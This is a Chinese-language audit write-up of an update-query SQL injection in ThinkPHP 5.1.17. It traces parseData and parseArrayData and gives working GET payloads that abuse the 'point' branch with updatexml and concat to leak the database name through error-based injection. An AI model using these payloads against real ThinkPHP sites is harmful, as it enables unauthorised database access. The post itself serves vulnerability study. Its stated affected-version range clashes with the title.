Thinkphp 5.1.17 SQL注入

前言

之前审计的是5.0.15的parseData函数漏洞导致的SQL注入。这次审的是5.1.17的parseArrayData函数漏洞导致的SQL注入。影响版本:
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

composer create-project  topthink/think=5.1.17 thinkphp5.1.17

然后改一下composer.json,再composer update就好了。
在这里插入图片描述
然后设置一下database.php:
在这里插入图片描述

index控制器里面写update:

public function index()
{
    
    
    $username = request()->get('username');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
    db('users')->where(['id' => 15])->update(['username' => $username]);
    return 'Update success';
}

分析

这次是update注入。还是老套路,先把/a给去掉,正常的走一遍update,看看thinkphp是怎么处理的。

?username=111

先跟进一下where()方法:
在这里插入图片描述
$param先获得一个数组作为元素,即['id'=>15],然后再把它弹出去,没什么用。
跟进parseWhereExp()方法,在这里return:
在这里插入图片描述
主要就是对$this->options['where']进行了处理:
在这里插入图片描述
再跟进update方法:
在这里插入图片描述
parseOptions主要就是影响options,产生很多无用的键,增加了'table'=>'users'这个键。然后把这个数组给$this->options['data']
在这里插入图片描述
再跟进$this->connection->update()方法,在这里产生SQL语句:
在这里插入图片描述
再跟进一下这个$this->builder->update()方法,看一下SQL语句的产生:

/**
 * 生成update SQL
 * @access public
 * @param  Query     $query  查询对象
 * @return string
 */
public function update(Query $query)
{
    
    
    $options = $query->getOptions();

    $table = $this->parseTable($query, $options['table']);
    $data  = $this->parseData($query, $options['data']);

    if (empty($data)) {
    
    
        return '';
    }

    foreach ($data as $key => $val) {
    
    
        $set[] = $key . ' = ' . $val;
    }

    'UPDATE %TABLE% SET %SET%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%';
    return str_replace(
        ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
        [
            $this->parseTable($query, $options['table']),
            implode(' , ', $set),
            $this->parseJoin($query, $options['join']),
            $this->parseWhere($query, $options['where']),
            $this->parseOrder($query, $options['order']),
            $this->parseLimit($query, $options['limit']),
            $this->parseLock($query, $options['lock']),
            $this->parseComment($query, $options['comment']),
        ],
        $this->updateSql);
}

先看一眼下面,和之前的insert注入一样都是直接的替换,没看上面的代码逻辑之前先大胆猜测一下,这个SQL注入可能还是因为正常注入用的是预编译,但是对于处理数据的时候出了问题,导致可以直接拼接恶意代码而不是预编译。跟进一下这两行代码:
在这里插入图片描述
parseTable()利用不大,最终产生这个:
在这里插入图片描述
跟进一下parseData:

/**
 * 数据分析
 * @access protected
 * @param  Query     $query     查询对象
 * @param  array     $data      数据
 * @param  array     $fields    字段信息
 * @param  array     $bind      参数绑定
 * @param  string    $suffix    参数绑定后缀
 * @return array
 */
protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
    
    
    if (empty($data)) {
    
    
        return [];
    }

    $options = $query->getOptions();

    // 获取绑定信息
    if (empty($bind)) {
    
    
        $bind = $this->connection->getFieldsBind($options['table']);
    }

    if (empty($fields)) {
    
    
        if ('*' == $options['field']) {
    
    
            $fields = array_keys($bind);
        } else {
    
    
            $fields = $options['field'];
        }
    }

    $result = [];

    foreach ($data as $key => $val) {
    
    
        $item = $this->parseKey($query, $key);

        if ($val instanceof Expression) {
    
    
            $result[$item] = $val->getValue();
            continue;
        } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
    
    
            $val = json_encode($val);
        } elseif (is_object($val) && method_exists($val, '__toString')) {
    
    
            // 对象数据写入
            $val = $val->__toString();
        }

        if (false !== strpos($key, '->')) {
    
    
            list($key, $name) = explode('->', $key);
            $item             = $this->parseKey($query, $key);
            $result[$item]    = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
        } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
    
    
            if ($options['strict']) {
    
    
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
    
    
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
    
    
            switch ($val[0]) {
    
    
                case 'INC':
                    $result[$item] = $item . ' + ' . floatval($val[1]);
                    break;
                case 'DEC':
                    $result[$item] = $item . ' - ' . floatval($val[1]);
                    break;
                default:
                    $value = $this->parseArrayData($query, $val);
                    if ($value) {
    
    
                        $result[$item] = $value;
                    }
            }
        } elseif (is_scalar($val)) {
    
    
            // 过滤非标量数据
            $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
        }
    }

    return $result;
}

和insert的那个函数处理的大致逻辑都差不多,最终会进入的是这个if:
在这里插入图片描述
跟进一下parseDateBind()函数:

/**
 * 数据绑定处理
 * @access protected
 * @param  Query     $query     查询对象
 * @param  string    $key       字段名
 * @param  mixed     $data      数据
 * @param  array     $bind      绑定数据
 * @param  string    $suffix    绑定后缀
 * @return string
 */
protected function parseDataBind(Query $query, $key, $data, $bind = [], $suffix = '')
{
    
    
    // 过滤非标量数据
    if (0 === strpos($data, ':') && $query->isBind(substr($data, 1))) {
    
    
        return $data;
    }

    $key  = str_replace(['.', '->'], '_', $key);
    $name = 'data__' . $key . $suffix;

    $query->bind($name, $data, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);

    return ':' . $name;
}

逻辑比较简单,就是产生:data_username的预编译。整个parseData产生的data是这样:
在这里插入图片描述
再经过foreach,产生这样的$set数组:
在这里插入图片描述
再经过str_replace(),产生SQL语句:

UPDATE `users`  SET `username` = :data__username  WHERE  `id` = :where_AND_id  

再进行执行:
在这里插入图片描述
跟进execute()函数,一样的逻辑了。先prepare(),再进行预编译参数绑定,最后执行。
在这里插入图片描述
在这里插入图片描述
正常的执行整个过程无法SQL注入,还是因为预编译。接下来index控制器改成username/a,再审一下parseData()函数,还是老地方:
在这里插入图片描述
5.1.17这个版本已经修复了之前的insert中的那种sql注入漏洞,username[0]=INC或者username[0]=DEC也无法控制替换的内容。但是这里多了个default。跟进一下这个新的parseArrayDate()方法:

/**
 * 数组数据解析
 * @access protected
 * @param  Query     $query     查询对象
 * @param  array     $data
 * @return mixed
 */
protected function parseArrayData(Query $query, $data)
{
    
    
    list($type, $value) = $data;

    switch (strtolower($type)) {
    
    
        case 'point':
            $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
            $point = isset($data[3]) ? $data[3] : 'POINT';
            if (is_array($value)) {
    
    
                $value = implode(' ', $value);
            }
            $result = $fun . '(\'' . $point . '(' . $value . ')\')';
            break;
        default:
            $result = false;
    }

    return $result;
}

首先把数组的值赋值给一组变量,另$type是point即可以进入case,即?username[0]=point。最终$result的相当于这样:

$result=$username[2].'(\''.$username[3]. '(' . $username[1] . ')\')';

这个形式非常像这个:

updatexml(1,concat(0x7e,database(),0x7e),1)

可以构造一波:

?username[0]=point&username[1]=0x7e,database(),0x7e),'1&username[2]=updatexml&username[3]=1',concat

相当于构造的SQL语句是这样:

UPDATE `users` SET `username` = updatexml('1',concat(0x7e,database(),0x7e),'1)') WHERE `id` = 15

成功实现报错注入:
在这里插入图片描述
如果可以存在回显的话,也可以考虑二次注入:

?username[0]=point&username[1]=1&username[2]=concat&username[3]=',database(),'

在这里插入图片描述
产生的SQL语句如下:

UPDATE `users` SET `username` = concat('',database(),'(1)') WHERE `id` = 15

修复

这张图是从别的师傅的博客里找的:
在这里插入图片描述
官方是直接把这个default给删除了。不过我去github上并没有找到这个,可能是我找的有问题叭。。。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114388453